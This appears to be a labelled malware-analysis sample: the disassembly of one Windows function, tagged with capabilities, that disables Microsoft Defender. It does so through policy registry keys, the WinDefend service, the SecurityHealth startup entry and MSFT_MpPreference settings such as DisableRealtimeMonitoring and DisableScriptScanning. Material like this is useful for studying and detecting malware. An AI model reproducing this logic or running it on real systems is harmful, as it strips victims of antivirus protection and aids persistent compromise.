Function at 0x140002680
Capabilities:
Disable windows defender features via registry on windows
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140046040]
xor rax, rsp
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140002707
mov r8d, eax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.1400052a0
lea rcx, str.Failed_to_access_Policies_n
jmp 0x140002744
mov dword [rbp + 0x10], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x14003b210]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002749
lea rcx, str.failed_to_write_to_DisableAntiSpyware_n
call fcn.140001170
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400027a9
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.1400052a0
lea rcx, str.Failed_to_access_CurrentVersion_n
jmp 0x1400027e6
mov dword [rbp + 0x10], 3
mov dword [rsp + 0x28], 0xc
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, str.SecurityHealth
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400027eb
lea rcx, str.Failed_to_write_to_SecurityHealth_n
call fcn.140001170
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000284b
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindows_Defender
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.1400052a0
lea rcx, str.Failed_to_access_Windows_Defender_n
jmp 0x140002888
mov dword [rbp + 0x10], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x14003b210]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000288d
lea rcx, str.Failed_to_write_to_DisableAntiSpyware
call fcn.140001170
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesWinDefend
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400028f2
mov r8d, eax
lea rdx, str.SYSTEMCurrentControlSetServicesWinDefend
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.1400052a0
lea rcx, str.Failed_to_access_CurrentControlSet_n
call fcn.140001170
jmp 0x140002924
mov dword [rbp + 0x10], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140002984
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.1400052a0
lea rcx, str.Failed_to_access_Real_Time_Protection
jmp 0x1400029c1
mov dword [rbp + 0x10], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x14003b518]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400029c6
lea rcx, str.Failed_to_write_to_DisableRealTimeMonitoring_n
call fcn.140001170
mov ecx, 0x60
call fcn.140008f78
mov rbx, rax
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
lea rax, [rbp - 0x60]
mov qword [rbp], rax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
mov r8d, 3
lea rdx, [0x14003b5a8]
lea rcx, [rbp - 0x60]
call fcn.140004100
nop
lea rax, [rbp - 0x40]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov r8d, 0x11
lea rdx, str.MSFT_MpPreference
lea rcx, [rbp - 0x40]
call fcn.140004100
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x1f
lea rdx, str.RootMicrosoftWindowsDefender
lea rcx, [rbp - 0x20]
call fcn.140004100
nop
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140005d40
mov rbx, rax
mov edx, dword [rax]
test edx, edx
je 0x140002aa1
lea rcx, str.Error_has_occured:__d_n
call fcn.140001170
xor al, al
jmp 0x140002f61
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8d, 8
lea rdx, str.Disabled
lea rcx, [rbp - 0x80]
call fcn.140004100
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x1c
lea rdx, str.EnableControlledFolderAccess
lea rcx, [rsp + 0x50]
call fcn.140004100
nop
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140001fc0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 7
lea rdx, str.disable
lea rcx, [rsp + 0x50]
call fcn.140004100
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8d, 0xd
lea rdx, str.PUAProtection
lea rcx, [rbp - 0x80]
call fcn.140004100
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.140001fc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x19
lea rdx, str.DisableRealtimeMonitoring
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x19
lea rdx, str.DisableBehaviorMonitoring
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x17
lea rdx, str.DisableBlockAtFirstSeen
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x15
lea rdx, str.DisableIOAVProtection
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x12
lea rdx, str.DisablePrivacyMode
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x2c
lea rdx, str.SignatureDisableUpdateOnStartupWithoutEngine
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x16
lea rdx, str.DisableArchiveScanning
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x20
lea rdx, str.DisableIntrusionPreventionSystem
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x15
lea rdx, str.DisableScriptScanning
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x12
lea rdx, str.DisableAntiSpyware
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x10
lea rdx, str.DisableAntiVirus
lea rcx, [rsp + 0x50]
call fcn.140004100
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x14
lea rdx, str.SubmitSamplesConsent
lea rcx, [rsp + 0x50]
call fcn.140004100
mov r9b, 2
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0xd
lea rdx, str.MAPSReporting
lea rcx, [rsp + 0x50]
call fcn.140004100
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x17
lea rdx, str.HighThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140004100
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x1b
lea rdx, str.ModerateThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140004100
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x16
lea rdx, str.LowThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140004100
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0x19
lea rdx, str.SevereThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140004100
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 0xf
lea rdx, str.ScanScheduleDay
lea rcx, [rsp + 0x50]
call fcn.140004100
mov r9b, 8
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b30
mov rcx, rbx
call fcn.140002f90
mov al, 1
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140008f50
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret